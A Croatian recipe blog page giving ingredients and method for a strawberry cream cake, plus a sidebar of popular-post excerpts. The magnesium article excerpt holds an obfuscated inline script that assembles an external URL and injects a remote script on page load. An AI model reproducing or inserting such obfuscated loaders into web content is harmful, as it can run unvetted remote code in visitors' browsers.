KREMASTA TORTA S JAGODAMA 🍓 🍰





Kremasta torta s jagodama 



Tortu prije posluživanja dobro rashladite nekoliko sati u hladnjaku kako bi se svi okusi povezali, a krema lijepo stisnula. Svaki komad bit će savršeno kremast i osvježavajuć.




Kremasta torta s jagodama 

Sastojci:

Za biskvit:
  • 7 bjelanjaka
  • 7 žlica šećera
  • 7 žlica oštrog brašna

Preljev za biskvit: 

  • 150 do 200 ml mlijeka
  • 2 vanilin šećera

Za kremu:

  • 600 ml mlijeka
  • 7 žumanjaka
  • 7 žlica šećera
  • 2 vanilin šećera
  • 100 ml mlijeka
  • 7 žlica oštrog brašna
  • 200 g maslaca sobne temperature




Priprema:

Bjelanjke umutite u čvrsti snijeg, zatim postupno dodajte šećer i miksajte dok smjesa ne postane sjajna i čvrsta. Smanjite brzinu miksera na minimum pa jednu po jednu dodajte žlice brašna. Lagano miksajte tek toliko da se sastojci povežu. Smjesu izlijte u kalup promjera 26 do 28 cm obložen papirom za pečenje i pecite u prethodno zagrijanoj pećnici na 170 °C oko 25 minuta. Mlijeko zagrijte i u njemu otopite vanilin šećer. Kada se biskvit ohladi, prebacite ga na podložak za tortu i stavite obruč oko njega. Izbockajte ga vilicom pa prelijte pripremljenim mlijekom u dva navrata, kako bi se ravnomjerno natopio.

Za kremu, u loncu zagrijte 600 ml mlijeka do vrenja. U posebnoj zdjeli umutite žumanjke, šećer i vanilin šećer. Dodajte 100 ml mlijeka i dobro promiješajte, zatim umiješajte brašno. Pripremljenu smjesu polako ulijte u vruće mlijeko i kuhajte na laganoj vatri uz stalno miješanje dok se krema ne zgusne. Gotovu kremu prebacite u zdjelu, prekrijte prozirnom folijom i ostavite da se ohladi na sobnu temperaturu. Kada se potpuno ohladi, umiksajte omekšali maslac. Polovicu kreme rasporedite preko natopljenog biskvita. Svježe jagode prerežite na pola i složite preko kreme, zatim prekrijte preostalom kremom. Na kraju tortu premažite umućenim šlagom i po želji ukrasite dodatnim jagodama.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više